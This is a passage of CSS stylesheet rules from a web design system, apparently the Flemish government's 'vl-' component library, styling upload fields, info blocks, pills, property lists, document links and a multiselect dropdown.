        transform: translate(-50%, -50%);
        width: 80%
      }

      .vl-upload__overlay__text .vl-vi {
        color: #05c;
        display: block;
        font-size: 2rem
      }

      .vl-upload__files {
        display: none;
        margin-bottom: 2rem;
        position: relative
      }

      .vl-upload__files:after,
      .vl-upload__files:before {
        content: "";
        display: table
      }

      .vl-upload__files:after {
        clear: both
      }

      .vl-upload__files--has-files {
        display: block
      }

      .vl-upload__files__close {
        float: right;
        margin: 1rem 0 0
      }

      .vl-upload__files__close .vl-vi {
        margin-right: .5rem
      }

      @media screen and (max-width:767px) {
        .vl-upload__files__close {
          float: none
        }
      }

      .vl-upload__file {
        border: 0;
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        margin-bottom: .2rem;
        padding: 1rem 1.5rem;
        position: relative;
        z-index: 5
      }

      .vl-upload__file:last-child {
        border-bottom: 0
      }

      .vl-upload__file:hover {
        background-color: rgba(179, 207, 245, .3)
      }

      .vl-upload__file__size {
        color: #687483
      }

      .vl-upload__file__name {
        color: #333332;
        max-width: calc(100% - 2rem);
        word-break: break-all
      }

      @supports(overflow-wrap:break-word) {
        .vl-upload__file__name {
          word-wrap: break-word;
          word-break: normal
        }
      }

      .vl-upload__file__name__icon {
        color: #687483;
        display: inline-block;
        line-height: 2rem;
        padding-right: 1rem;
        transform: translateY(-1px)
      }

      .vl-upload__file__close {
        box-shadow: none;
        color: #05c;
        margin-right: 1rem;
        overflow: hidden;
        padding: 1rem;
        position: absolute;
        right: 0;
        top: 50%;
        transform: translateY(-50%)
      }

      .vl-upload__file__close .vl-vi {
        font-size: 1.6rem;
        height: 1.1rem;
        width: 1.1rem
      }

      @media screen and (max-width:1023px) {
        .vl-upload__file__close .vl-vi {
          font-size: 1.4rem
        }
      }

      .vl-upload__file__close:hover {
        box-shadow: none
      }

      .vl-upload__file__close:focus {
        box-shadow: 0 0 0 2px #fff, 0 0 0 5px rgba(0, 85, 204, .65)
      }

      .vl-upload__file--error,
      .vl-upload__file.dz-error {
        background-color: #fbebec;
        border: .1rem solid #edafb1;
        padding-left: 6.5rem
      }

      @media screen and (max-width:767px) {

        .vl-upload__file--error,
        .vl-upload__file.dz-error {
          padding-left: 5rem
        }
      }

      .vl-upload__file--error:before,
      .vl-upload__file.dz-error:before {
        content: url("");
        display: inline-flex;
        height: 24px;
        left: 2rem;
        position: absolute;
        top: 50%;
        transform: translateY(-50%);
        width: 24px
      }

      @media screen and (max-width:767px) {

        .vl-upload__file--error:before,
        .vl-upload__file.dz-error:before {
          height: 18px;
          left: 1.5rem;
          width: 18px
        }
      }

      .vl-upload__file--error .vl-upload__file__name,
      .vl-upload__file.dz-error .vl-upload__file__name {
        font-weight: 500
      }

      .vl-upload__file--error .dz-error-message,
      .vl-upload__file--error .vl-upload__file__error,
      .vl-upload__file.dz-error .dz-error-message,
      .vl-upload__file.dz-error .vl-upload__file__error {
        font-size: .9em
      }

      .vl-upload__file--error .vl-upload__file__name__icon,
      .vl-upload__file.dz-error .vl-upload__file__name__icon {
        display: none
      }

      .vl-upload__file--error .vl-upload__file__close,
      .vl-upload__file.dz-error .vl-upload__file__close {
        cursor: pointer
      }

      .vl-upload__file--error .vl-upload__file__close .vl-vi,
      .vl-upload__file.dz-error .vl-upload__file__close .vl-vi {
        color: #333332
      }

      .vl-upload__file--error .vl-upload__file__close:focus,
      .vl-upload__file.dz-error .vl-upload__file__close:focus {
        box-shadow: 0 0 0 2px #fbebec, 0 0 0 5px rgba(0, 85, 204, .65)
      }

      .vl-upload__file--error.vl-upload__file--error-size .vl-upload__file__size,
      .vl-upload__file.dz-error.vl-upload__file--error-size .vl-upload__file__size {
        color: #333332
      }

      .vl-upload__file--error:hover,
      .vl-upload__file.dz-error:hover {
        background-color: #fbebec
      }

      .vl-upload.upload--dragging .vl-upload__overlay {
        display: block;
        opacity: 1
      }

      .vl-upload.upload--dragging .vl-upload__element {
        min-height: 8.75rem
      }

      .vl-upload__element {
        border: .1rem dashed #8695a8;
        border-radius: .3rem;
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        min-height: 100%;
        position: relative;
        text-align: center;
        z-index: 4
      }

      .vl-upload__element:hover {
        border-color: rgba(0, 85, 204, .65);
        border-width: .2rem
      }

      .vl-upload__element:hover .vl-upload__element__label {
        background-color: rgba(179, 207, 245, .3);
        padding: .9rem
      }

      .vl-upload__element__input {
        height: 1px;
        margin: -1px;
        opacity: 0;
        overflow: hidden;
        padding: 1rem;
        pointer-events: none;
        position: absolute;
        width: 1px
      }

      .vl-upload__element__input:focus {
        outline: none
      }

      .vl-upload__element__input:focus+label {
        background-color: rgba(179, 207, 245, .3)
      }

      .vl-upload__element__label {
        background-color: transparent;
        color: #05c;
        cursor: pointer;
        display: block;
        height: 100%;
        padding: 1rem;
        transition: background-color .3s ease-out
      }

      .vl-upload__element__label .vl-vi {
        display: inline-block;
        font-size: 1.4rem;
        line-height: 2.4rem;
        margin-right: .5rem;
        top: 1px
      }

      .vl-upload__element__label small {
        color: #687483;
        display: none;
        font-size: 1.4rem;
        line-height: 1.5;
        margin-top: .5rem;
        text-align: center;
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vl-upload .vl-upload__element__label small {
        display: block
      }

      .vl-upload .vl-upload__element__label__error {
        color: #d2373c;
        font-size: .9em
      }

      .vl-upload--dragging .vl-upload__overlay {
        display: block;
        opacity: 1
      }

      .no-js .vl-upload__element__label {
        display: none
      }

      .dz-image-preview {
        overflow: hidden
      }

      .vl-upload__element__button {
        -moz-appearance: none;
        appearance: none;
        -webkit-appearance: none;
        background-color: transparent;
        border: 0;
        border-radius: 0;
        color: inherit;
        display: inline-flex;
        font-size: inherit;
        line-height: 2.4rem;
        padding: 0
      }

      .vl-upload--dragging [data-vl-upload-full-body-drop] {
        bottom: 0;
        left: 0;
        margin: 0;
        min-height: 100vh;
        position: fixed;
        right: 0;
        top: 0;
        z-index: 10006
      }

      .dropzone .dz-message .dz-button {
        -moz-appearance: none;
        appearance: none;
        -webkit-appearance: none;
        background-color: transparent;
        border: 0;
        border-radius: 0;
        font-size: inherit;
        padding: 0;
        position: relative;
        width: 100%
      }

      .dropzone .dz-message .dz-button:focus:after {
        background-color: rgba(179, 207, 245, .3);
        bottom: 0;
        content: "";
        display: block;
        left: 0;
        position: absolute;
        right: 0;
        top: 0;
        z-index: 10
      }

      .vl-introduction {
        color: #687483;
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 2.2rem;
        line-height: 1.5
      }

      @media screen and (max-width:1023px) {
        .vl-introduction {
          font-size: 2rem
        }
      }

      @media screen and (max-width:767px) {
        .vl-introduction {
          font-size: 1.8rem
        }
      }

      .vl-introduction--bold {
        font-weight: 500
      }

      .vl-infoblock--border {
        border: 1px solid #cbd2da;
        padding: 5rem
      }

      @media screen and (max-width:1023px) {
        .vl-infoblock--border {
          padding: 3rem
        }
      }

      @media screen and (max-width:767px) {
        .vl-infoblock--border {
          padding: 2rem
        }
      }

      .vl-infoblock__header {
        align-items: center;
        display: flex;
        line-height: 4.2rem;
        position: relative;
        word-wrap: break-word
      }

      .vl-infoblock__header:after,
      .vl-infoblock__header:before {
        font-family: "vlaanderen-icon" !important;
        -webkit-font-smoothing: antialiased;
        -moz-osx-font-smoothing: grayscale;
        font-feature-settings: normal;
        font-style: normal;
        font-variant: normal;
        font-weight: 400;
        -webkit-text-decoration: none;
        text-decoration: none;
        text-transform: none
      }

      @media screen and (max-width:767px) {
        .vl-infoblock__header {
          line-height: 3.6rem
        }
      }

      .vl-infoblock__header__icon-wrapper {
        position: relative
      }

      .vl-infoblock__header__icon,
      .vl-infoblock__header__icon.vl-icon {
        align-self: start;
        background-color: transparent;
        background: var(--vl-theme-primary-color);
        border-radius: 50%;
        color: var(--vlw-theme-primary-fg-color, #333332);
        display: block;
        flex: 0 0 auto;
        font-size: 2rem;
        height: 4.2rem;
        margin-right: 2.7rem;
        text-align: center;
        width: 4.2rem
      }

      @media screen and (max-width:767px) {

        .vl-infoblock__header__icon,
        .vl-infoblock__header__icon.vl-icon {
          font-size: 1.5rem;
          height: 3.6rem;
          margin-right: 1.5rem;
          width: 3.6rem
        }
      }

      .vl-infoblock__header__icon.vl-icon:before,
      .vl-infoblock__header__icon:before {
        display: block
      }

      .vl-infoblock--alt .vl-infoblock__header__icon {
        background-color: #f7f9fc;
        border: 1px solid #cbd2da
      }

      .vl-infoblock--contact .vl-infoblock__header__icon:after,
      .vl-infoblock--contact .vl-infoblock__header__icon:before {
        font-family: "vlaanderen-icon" !important;
        -webkit-font-smoothing: antialiased;
        -moz-osx-font-smoothing: grayscale;
        font-feature-settings: normal;
        font-style: normal;
        font-variant: normal;
        font-weight: 400;
        -webkit-text-decoration: none;
        text-decoration: none;
        text-transform: none
      }

      .vl-infoblock--contact .vl-infoblock__header__icon:before {
        content: ""
      }

      .vl-infoblock--publications .vl-infoblock__header__icon:after,
      .vl-infoblock--publications .vl-infoblock__header__icon:before {
        font-family: "vlaanderen-icon" !important;
        -webkit-font-smoothing: antialiased;
        -moz-osx-font-smoothing: grayscale;
        font-feature-settings: normal;
        font-style: normal;
        font-variant: normal;
        font-weight: 400;
        -webkit-text-decoration: none;
        text-decoration: none;
        text-transform: none
      }

      .vl-infoblock--publications .vl-infoblock__header__icon:before {
        content: ""
      }

      .vl-infoblock--faq .vl-infoblock__header__icon:after,
      .vl-infoblock--faq .vl-infoblock__header__icon:before {
        font-family: "vlaanderen-icon" !important;
        -webkit-font-smoothing: antialiased;
        -moz-osx-font-smoothing: grayscale;
        font-feature-settings: normal;
        font-style: normal;
        font-variant: normal;
        font-weight: 400;
        -webkit-text-decoration: none;
        text-decoration: none;
        text-transform: none
      }

      .vl-infoblock--faq .vl-infoblock__header__icon:before {
        content: ""
      }

      .vl-infoblock--news .vl-infoblock__header__icon:after,
      .vl-infoblock--news .vl-infoblock__header__icon:before {
        font-family: "vlaanderen-icon" !important;
        -webkit-font-smoothing: antialiased;
        -moz-osx-font-smoothing: grayscale;
        font-feature-settings: normal;
        font-style: normal;
        font-variant: normal;
        font-weight: 400;
        -webkit-text-decoration: none;
        text-decoration: none;
        text-transform: none
      }

      .vl-infoblock--news .vl-infoblock__header__icon:before {
        content: ""
      }

      .vl-infoblock--timeline .vl-infoblock__header__icon:after,
      .vl-infoblock--timeline .vl-infoblock__header__icon:before {
        font-family: "vlaanderen-icon" !important;
        -webkit-font-smoothing: antialiased;
        -moz-osx-font-smoothing: grayscale;
        font-feature-settings: normal;
        font-style: normal;
        font-variant: normal;
        font-weight: 400;
        -webkit-text-decoration: none;
        text-decoration: none;
        text-transform: none
      }

      .vl-infoblock--timeline .vl-infoblock__header__icon:before {
        content: ""
      }

      .vl-infoblock--question .vl-infoblock__header__icon:after,
      .vl-infoblock--question .vl-infoblock__header__icon:before {
        font-family: "vlaanderen-icon" !important;
        -webkit-font-smoothing: antialiased;
        -moz-osx-font-smoothing: grayscale;
        font-feature-settings: normal;
        font-style: normal;
        font-variant: normal;
        font-weight: 400;
        -webkit-text-decoration: none;
        text-decoration: none;
        text-transform: none
      }

      .vl-infoblock--question .vl-infoblock__header__icon:before {
        content: ""
      }

      @media screen and (max-width:767px) {
        .vl-infoblock__header__icon {
          font-size: 1.5rem;
          height: 3.6rem;
          margin-right: 1.5rem;
          width: 3.6rem
        }
      }

      .vl-infoblock__header__badge {
        margin-right: 2.2rem;
        position: absolute;
        right: 0;
        top: 0
      }

      @media screen and (max-width:767px) {
        .vl-infoblock__header__badge {
          margin-right: .9rem
        }
      }

      .vl-infoblock__title {
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 2rem;
        font-weight: 500;
        line-height: 1.4;
        margin-bottom: 0
      }

      @media screen and (max-width:767px) {
        .vl-infoblock__title {
          font-family: "Flanders Art Sans", sans-serif;
          font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
          font-size: 1.8rem;
          font-weight: 500;
          line-height: 1.44;
          margin-bottom: 1.2rem;
          margin-bottom: 0
        }
      }

      @media screen and (max-width:767px)and (max-width:767px) {
        .vl-infoblock__title {
          font-size: 1.8rem;
          margin-bottom: 1rem
        }
      }

      @media screen and (max-width:500px) {
        .vl-infoblock__title {
          margin-bottom: 0
        }
      }

      .vl-infoblock__content {
        margin-left: 7rem;
        padding-top: 1.5rem
      }

      @media screen and (max-width:767px) {
        .vl-infoblock__content {
          margin-left: 5.2rem;
          padding-top: .75rem
        }
      }

      .vl-annotation {
        color: #687483;
        font-size: inherit;
        font-weight: 400
      }

      .vl-annotation--small {
        font-size: .65em
      }

      .vl-annotation__list-item {
        display: list-item;
        float: left;
        list-style-type: disc;
        margin-left: 3rem
      }

      .vl-annotation__list-item:first-of-type {
        list-style-type: none;
        margin-left: 0
      }

      .vl-annotation__list-item--iconless {
        list-style-type: none;
        margin-left: 1rem
      }

      .vl-pill {
        align-items: center;
        background-color: #fff;
        border: .1rem solid #8695a8;
        border-radius: .3rem;
        color: #687483;
        display: inline-flex;
        font-size: 1.4rem;
        font-weight: 500;
        line-height: 2.2rem;
        max-width: 100%;
        min-width: 0;
        padding: 0 1.4rem;
        -webkit-text-decoration: none;
        text-decoration: none;
        transition: color .2s, background-color .2s, box-shadow .2s;
        vertical-align: middle
      }

      .vl-pill__text {
        overflow: hidden;
        text-overflow: ellipsis;
        white-space: nowrap;
        width: 100%
      }

      .vl-pill__close {
        align-items: center;
        border: .1rem solid #8695a8;
        border-radius: 0 .3rem .3rem 0;
        color: #05c;
        display: inline-flex;
        height: 2.4rem;
        justify-content: center;
        margin: -.1rem -.1rem -.1rem 1.4rem;
        min-width: 2.4rem;
        padding: 0;
        -webkit-text-decoration: none;
        text-decoration: none;
        transition: color .2s, background-color .2s, box-shadow .2s;
        width: 2.4rem
      }

      .vl-pill__close:hover:not([disabled]) {
        background-color: #e6eefa;
        border: .1rem solid #05c;
        box-shadow: inset 0 0 0 .1rem #05c;
        color: #004ab3
      }

      .vl-pill__close:focus {
        border: .1rem solid #05c;
        box-shadow: 0 0 0 2px #fff, 0 0 0 5px rgba(0, 85, 204, .65), inset 0 0 0 .1rem #05c;
        outline: .2rem solid transparent
      }

      [dir=rtl] .vl-pill__close {
        border-left: 0;
        border-right: .1rem solid #8695a8
      }

      .is-disabled .vl-pill__close,
      .vl-pill__close[disabled] {
        color: #687483;
        cursor: default
      }

      .vl-pill__close__icon {
        line-height: 0
      }

      .vl-pill__close__icon:after,
      .vl-pill__close__icon:before {
        font-family: "vlaanderen-icon" !important;
        -webkit-font-smoothing: antialiased;
        -moz-osx-font-smoothing: grayscale;
        font-feature-settings: normal;
        font-style: normal;
        font-variant: normal;
        font-weight: 400;
        -webkit-text-decoration: none;
        text-decoration: none;
        text-transform: none
      }

      .vl-pill__close__icon:before {
        content: "";
        display: inline-block;
        font-size: .8rem;
        font-weight: 700;
        line-height: 1;
        text-indent: 0
      }

      .vl-pill--success {
        background-color: #e6f5ed;
        border-color: #009e47;
        color: #007a37
      }

      .vl-pill--warning {
        background-color: #fff6e7;
        border-color: #ffa10a;
        color: #9f5804
      }

      .vl-pill--error {
        background-color: #fbebec;
        border-color: #d2373c;
        color: #aa2729
      }

      .vl-pill--disabled:not(.vl-pill--checkable):not(.vl-pill--closable) {
        background-color: #cbd2d9
      }

      .vl-pill--closable {
        padding-right: 0
      }

      .vl-pill--closable.vl-pill--disabled .vl-pill__close {
        background-color: #cbd2d9
      }

      .vl-pill--clickable:not(.vl-pill--disabled) {
        color: #05c
      }

      .vl-pill--clickable:not(.vl-pill--disabled):hover {
        background-color: #e6eefa;
        border-color: #05c;
        box-shadow: inset 0 0 0 .1rem #05c;
        color: #004ab3
      }

      .vl-pill--clickable:not(.vl-pill--disabled):focus {
        border-color: #05c;
        box-shadow: 0 0 0 2px #fff, 0 0 0 5px rgba(0, 85, 204, .65), inset 0 0 0 .1rem #05c;
        outline: .2rem solid transparent
      }

      .vl-pill--checkable {
        margin-bottom: .3rem;
        padding-left: 3.6rem;
        position: relative
      }

      .vl-pill--checkable:not(.vl-pill--disabled) {
        color: #05c;
        cursor: pointer
      }

      .vl-pill--checkable:not(.vl-pill--disabled):hover {
        background-color: #e6eefa;
        border: .1rem solid #05c;
        box-shadow: inset 0 0 0 .1rem #05c
      }

      .vl-pill--checkable__checkbox {
        overflow: hidden;
        position: absolute;
        clip: rect(0 0 0 0);
        height: .1rem;
        margin: -.1rem;
        padding: 0;
        width: .1rem
      }

      .vl-pill--checkable__checkbox[disabled]+span {
        background-color: #cbd2d9;
        color: #687483
      }

      .vl-pill--checkable__checkbox:not([disabled]):active+span,
      .vl-pill--checkable__checkbox:not([disabled]):focus+span {
        border: .1rem solid #05c;
        box-shadow: 0 0 0 2px #fff, 0 0 0 5px rgba(0, 85, 204, .65), inset 0 0 0 .1rem #05c
      }

      .vl-pill--checkable__checkbox:not([disabled]):checked+span {
        background: #05c
      }

      .vl-pill--checkable__checkbox:not([disabled]):checked+span:before {
        transform: translateZ(0) translate(-50%, -50%) scale(1)
      }

      .vl-pill--checkable__checkbox+span {
        background: #fff;
        border: .1rem solid #8695a8;
        border-bottom-left-radius: .3rem;
        border-top-left-radius: .3rem;
        cursor: pointer;
        display: inline-block;
        height: 2.4rem;
        left: -.1rem;
        margin: 0 1.4rem 0 0;
        overflow: hidden;
        position: absolute;
        top: -.1rem;
        transition: background-color .2s, box-shadow .2s;
        white-space: nowrap;
        width: 2.4rem
      }

      .vl-pill--checkable__checkbox+span:after,
      .vl-pill--checkable__checkbox+span:before {
        font-family: "vlaanderen-icon" !important;
        -webkit-font-smoothing: antialiased;
        -moz-osx-font-smoothing: grayscale;
        font-feature-settings: normal;
        font-style: normal;
        font-variant: normal;
        font-weight: 400;
        -webkit-text-decoration: none;
        text-decoration: none;
        text-transform: none
      }

      .vl-pill--checkable__checkbox+span:before {
        color: #fff;
        content: "";
        display: block;
        font-size: .8rem;
        left: 50%;
        line-height: 1;
        position: absolute;
        text-align: center;
        top: 50%;
        transform: translateZ(0) translate(-50%, -50%) scale(0);
        transition: all .3s cubic-bezier(1, .1, 0, .9) .1s, background-color .2, box-shadow .2s
      }

      .vl-pill--checkable__checkbox[disabled]+span {
        cursor: auto
      }

      .vl-properties__title {
        font-size: 2rem;
        font-weight: 500;
        margin-bottom: 2rem
      }

      .vl-properties__list {
        display: flex;
        flex-wrap: wrap
      }

      .vl-properties--full-width .vl-properties__list {
        display: grid;
        grid-template-columns: minmax(0, auto) 75%;
        grid-template-rows: 1fr;
        grid-gap: 0 1rem;
        grid-template-areas: ". ."
      }

      @media screen and (max-width:767px) {
        .vl-properties--full-width .vl-properties__list {
          grid-template-areas: ".";
          grid-template-columns: auto
        }
      }

      .vl-properties__data,
      .vl-properties__label {
        font-size: 1.8rem;
        padding-bottom: 2rem;
        word-break: break-word
      }

      .vl-properties__data--small,
      .vl-properties__label--small {
        padding-bottom: .5rem
      }

      .vl-properties__label {
        color: #687483;
        flex: 0 0 25%;
        max-width: 17rem;
        padding-right: 1rem
      }

      .vl-properties__label--has-input {
        padding-top: .7rem
      }

      .vl-properties--full-width .vl-properties__label {
        flex: none;
        max-width: none;
        padding-right: 0
      }

      .vl-properties__data {
        flex: 0 0 75%;
        flex-grow: 3
      }

      .vl-properties--full-width .vl-properties__data {
        flex: none
      }

      .vl-properties__column {
        display: inline-block;
        width: calc(50% - 1rem)
      }

      .vl-properties__column+.vl-properties__column {
        padding-left: 1rem;
        padding-right: 0
      }

      .vl-properties__column--full {
        padding-left: 0 !important;
        width: 100%
      }

      .vl-properties__column--full .vl-properties__label {
        flex: 0 0 calc(13% - 0.85rem)
      }

      .vl-properties__column--full .vl-properties__data {
        flex: 0 0 85%
      }

      .vl-properties .vl-form__buttons {
        padding-top: 3rem
      }

      .vl-properties--collapsed .vl-properties__title {
        font-size: 1.8rem
      }

      .vl-properties--full-width .vl-properties--collapsed .vl-properties__list {
        grid-template-columns: 1fr;
        grid-template-rows: 1fr;
        grid-gap: 0 0;
        grid-template-areas: "."
      }

      .vl-properties--collapsed .vl-properties__data,
      .vl-properties--collapsed .vl-properties__label {
        font-size: 1.6rem;
        padding-bottom: .5rem
      }

      .vl-properties--collapsed .vl-properties__data--small,
      .vl-properties--collapsed .vl-properties__label--small {
        padding-bottom: .5rem
      }

      .vl-properties--collapsed .vl-properties__label {
        flex: 0 0 100%;
        padding-right: 0
      }

      .vl-properties--collapsed .vl-properties__data {
        flex: 0 0 100%;
        padding-bottom: 1.5rem
      }

      .vl-properties--collapsed .vl-properties__column {
        padding-right: 0;
        width: 100%
      }

      .vl-properties--collapsed .vl-properties__column+.vl-properties__column {
        padding-left: 0
      }

      .vl-properties--collapsed .vl-properties__column--full .vl-properties__label {
        flex: 0 0 40%
      }

      .vl-properties--collapsed .vl-properties__column--full .vl-properties__data {
        flex: 0 0 60%
      }

      .vl-properties--bordered:after,
      .vl-properties--bordered:before {
        background: url("") repeat-x;
        background-size: 6px 6px;
        border: 0;
        content: "";
        display: block;
        min-height: 6px
      }

      .vl-properties--bordered:before {
        padding-bottom: 2rem
      }

      .vl-properties--bordered:after {
        padding-top: 2rem
      }

      @media screen and (max-width:767px) {
        .vl-properties .vl-properties__title {
          font-size: 1.8rem
        }

        .vl-properties--full-width .vl-properties .vl-properties__list {
          grid-template-columns: 1fr;
          grid-template-rows: 1fr;
          grid-gap: 0 0;
          grid-template-areas: "."
        }

        .vl-properties .vl-properties__data,
        .vl-properties .vl-properties__label {
          font-size: 1.6rem;
          padding-bottom: .5rem
        }

        .vl-properties .vl-properties__data--small,
        .vl-properties .vl-properties__label--small {
          padding-bottom: .5rem
        }

        .vl-properties .vl-properties__label {
          flex: 0 0 100%;
          padding-right: 0
        }

        .vl-properties .vl-properties__data {
          flex: 0 0 100%;
          padding-bottom: 1.5rem
        }

        .vl-properties .vl-properties__column {
          padding-right: 0;
          width: 100%
        }

        .vl-properties .vl-properties__column+.vl-properties__column {
          padding-left: 0
        }

        .vl-properties .vl-properties__column--full .vl-properties__label {
          flex: 0 0 40%
        }

        .vl-properties .vl-properties__column--full .vl-properties__data {
          flex: 0 0 60%
        }
      }

      .vl-document {
        align-items: center;
        display: flex;
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vl-document:after,
      .vl-document:before {
        content: "";
        display: table
      }

      .vl-document:after {
        clear: both
      }

      .vl-document__type {
        margin-right: 3rem;
        min-height: 7.5rem;
        padding: 3rem 0 0 2rem;
        position: relative
      }

      .vl-document__type .vl-vi {
        color: #b2b2b2;
        font-size: 7.5rem;
        left: .5rem;
        position: absolute;
        top: 50%;
        transform: translateY(-50%)
      }

      .vl-document__type__text {
        background-color: #ffed00;
        background-color: var(--vl-theme-primary-color);
        border-radius: 100%;
        color: #333332;
        display: block;
        font-size: 1.5rem;
        font-weight: 500;
        height: 40px;
        left: 2rem;
        line-height: 40px;
        overflow: hidden;
        position: relative;
        text-align: center;
        text-overflow: ellipsis;
        top: 1rem;
        white-space: nowrap;
        width: 40px
      }

      .vl-document__content {
        overflow: hidden
      }

      .vl-document__title {
        font-weight: 500;
        line-height: 1.25
      }

      .vl-document__metadata {
        color: #687483;
        display: block;
        font-size: 1.6rem;
        margin-top: .6rem
      }

      @media screen and (max-width:767px) {
        .vl-document__metadata {
          font-size: 1.4rem
        }
      }

      .vl-multiselect .multiselect__spinner {
        background: #fff;
        bottom: 1px;
        display: block;
        height: calc(100% - 2px);
        position: absolute;
        top: 1px;
        width: 32px
      }

      .vl-multiselect .multiselect__spinner:after,
      .vl-multiselect .multiselect__spinner:before {
        border: 2px solid transparent;
        border-radius: 100%;
        border-top-color: #b2b2b2;
        box-shadow: 0 0 0 1px transparent;
        content: "";
        height: 16px;
        left: 50%;
        margin: -8px 0 0 -8px;
        position: absolute;
        top: 50%;
        width: 16px
      }

      .vl-multiselect .multiselect__spinner:before {
        animation: spinning 2.4s cubic-bezier(.41, .26, .2, .62);
        animation-iteration-count: infinite
      }

      .vl-multiselect .multiselect__spinner:after {
        animation: spinning 2.4s cubic-bezier(.51, .09, .21, .8);
        animation-iteration-count: infinite
      }

      .vl-multiselect .multiselect__loading-enter-active,
      .vl-multiselect .multiselect__loading-leave-active {
        opacity: 1;
        transition: opacity .4s ease-in-out
      }

      .vl-multiselect .multiselect__loading-enter,
      .vl-multiselect .multiselect__loading-leave-active {
        opacity: 0
      }

      .vl-multiselect .multiselect__spinner {
        left: auto;
        right: 4px
      }

      @keyframes spinning {
        0% {
          transform: rotate(0)
        }

        to {
          transform: rotate(2turn)
        }
      }

      .vl-multiselect .multiselect,
      .vl-multiselect .multiselect__input,
      .vl-multiselect .multiselect__single {
        font-size: 1.6rem;
        touch-action: manipulation
      }

      .vl-multiselect .multiselect--disabled {
        opacity: .6
      }

      .vl-multiselect .multiselect--active {
        z-index: 10013
      }

      .vl-multiselect .multiselect--active .multiselect__input {
        border: .1rem solid #8695a8;
        position: relative !important
      }

      .vl-multiselect .multiselect--active .multiselect__tags {
        border-bottom: 1px solid #8695a8;
        border-radius: .3rem .3rem 0 0
      }

      .vl-multiselect .multiselect {
        -webkit-appearance: none;
        color: #333332;
        display: block;
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 1.6rem;
        max-width: 100%;
        position: relative;
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vl-multiselect .multiselect:focus::-ms-value {
        background: inherit;
        color: inherit
      }

      .vl-multiselect .multiselect--active:not(.multiselect--above) .multiselect__current,
      .vl-multiselect .multiselect--active:not(.multiselect--above) .multiselect__tags {
        border-bottom-left-radius: 0;
        border-bottom-right-radius: 0;
        padding: 6px 45px 0 10px
      }

      .vl-multiselect .multiselect--above--active .multiselect__current,
      .vl-multiselect .multiselect--above--active .multiselect__input,
      .vl-multiselect .multiselect--above--active .multiselect__tags {
        border-top-left-radius: 0;
        border-top-right-radius: 0
      }

      .vl-multiselect .multiselect--above--active .multiselect__input {
        display: inline-block
      }

      .vl-multiselect .multiselect--disabled {
        pointer-events: none
      }

      .vl-multiselect .multiselect--disabled .multiselect__tags {
        background-color: #f3f5f6;
        border-color: #8695a8
      }

      .vl-multiselect .multiselect__input {
        background: #fff;
        border: 0;
        border-radius: .3rem;
        color: #333332;
        display: inline-block;
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 1.6rem;
        height: 3.5rem;
        line-height: 3.5rem;
        margin: 10px 5px 15px 2px;
        max-width: 100%;
        padding: 0 1rem;
        transition: background-color .2s
      }

      @media screen and (max-width:767px) {
        .vl-multiselect .multiselect__input {
          font-size: 1.6rem
        }
      }

      .multiselect--active .vl-multiselect .multiselect__input:hover {
        border: .2rem solid rgba(0, 85, 204, .65);
        padding: 0 .9rem
      }

      .vl-multiselect .multiselect__input:hover.invalid.validated,
      .vl-multiselect .multiselect__input:hover.vl-input-field--error {
        border-color: #d2373c
      }

      .vl-multiselect .multiselect__input:hover.valid.validated,
      .vl-multiselect .multiselect__input:hover.vl-input-field--success {
        border-color: #009e47
      }

      .vl-multiselect .multiselect__input:hover.vl-input-field--small {
        padding: 0 .7rem
      }

      .vl-multiselect .multiselect__input--focus,
      .vl-multiselect .multiselect__input:focus {
        border: .1rem solid #8695a8;
        box-shadow: 0 0 0 2px #fff, 0 0 0 5px rgba(0, 85, 204, .65);
        outline: .2rem solid transparent;
        padding: 0 1rem
      }

      @supports(outline-offset:2px) {

        .vl-multiselect .multiselect__input--focus,
        .vl-multiselect .multiselect__input:focus {
          box-shadow: none;
          outline: 3px solid rgba(0, 85, 204, .65);
          outline-offset: 2px
        }
      }

      .vl-multiselect .multiselect__input--focus.invalid.validated,
      .vl-multiselect .multiselect__input--focus.vl-input-field--error,
      .vl-multiselect .multiselect__input:focus.invalid.validated,
      .vl-multiselect .multiselect__input:focus.vl-input-field--error {
        border-color: #d2373c
      }

      .vl-multiselect .multiselect__input--focus.valid.validated,
      .vl-multiselect .multiselect__input--focus.vl-input-field--success,
      .vl-multiselect .multiselect__input:focus.valid.validated,
      .vl-multiselect .multiselect__input:focus.vl-input-field--success {
        border-color: #009e47
      }

      .vl-multiselect .multiselect__input--focus:hover,
      .vl-multiselect .multiselect__input:focus:hover {
        padding: 0 1rem
      }

      .vl-multiselect .multiselect__input--focus.vl-input-field--small,
      .vl-multiselect .multiselect__input:focus.vl-input-field--small {
        padding: 0 .8rem
      }

      .vl-multiselect .multiselect__input::-moz-placeholder {
        color: #687483
      }

      .vl-multiselect .multiselect__input::placeholder {
        color: #687483
      }

      .vl-multiselect .multiselect__input::-webkit-search-cancel-button {
        -webkit-appearance: none
      }

      .vl-multiselect .multiselect__single {
        border: 0;
        border-radius: 5px;
        box-sizing: border-box;
        color: #687483;
        display: inline-block;
        line-height: 20px;
        margin-bottom: 8px;
        min-height: 20px;
        padding: 0 0 0 5px;
        position: relative;
        transition: border .1s ease;
        vertical-align: top;
        width: 100%
      }

      .multiselect__tag~.vl-multiselect .multiselect__single {
        width: auto
      }

      .vl-multiselect .multiselect__single:focus {
        outline: 0
      }

      .vl-multiselect--single .multiselect__single {
        color: #333332;
        line-height: 17px;
        min-height: 17px;
        padding-top: 3px
      }

      .vl-multiselect .multiselect__tags-wrap {
        display: inline
      }

      .vl-multiselect .multiselect--active .multiselect__tags-wrap {
        margin: 0 -4px
      }

      .vl-multiselect .multiselect__tags {
        background-color: #fff;
        border: 1px solid #8695a8;
        border-radius: 3px;
        display: block;
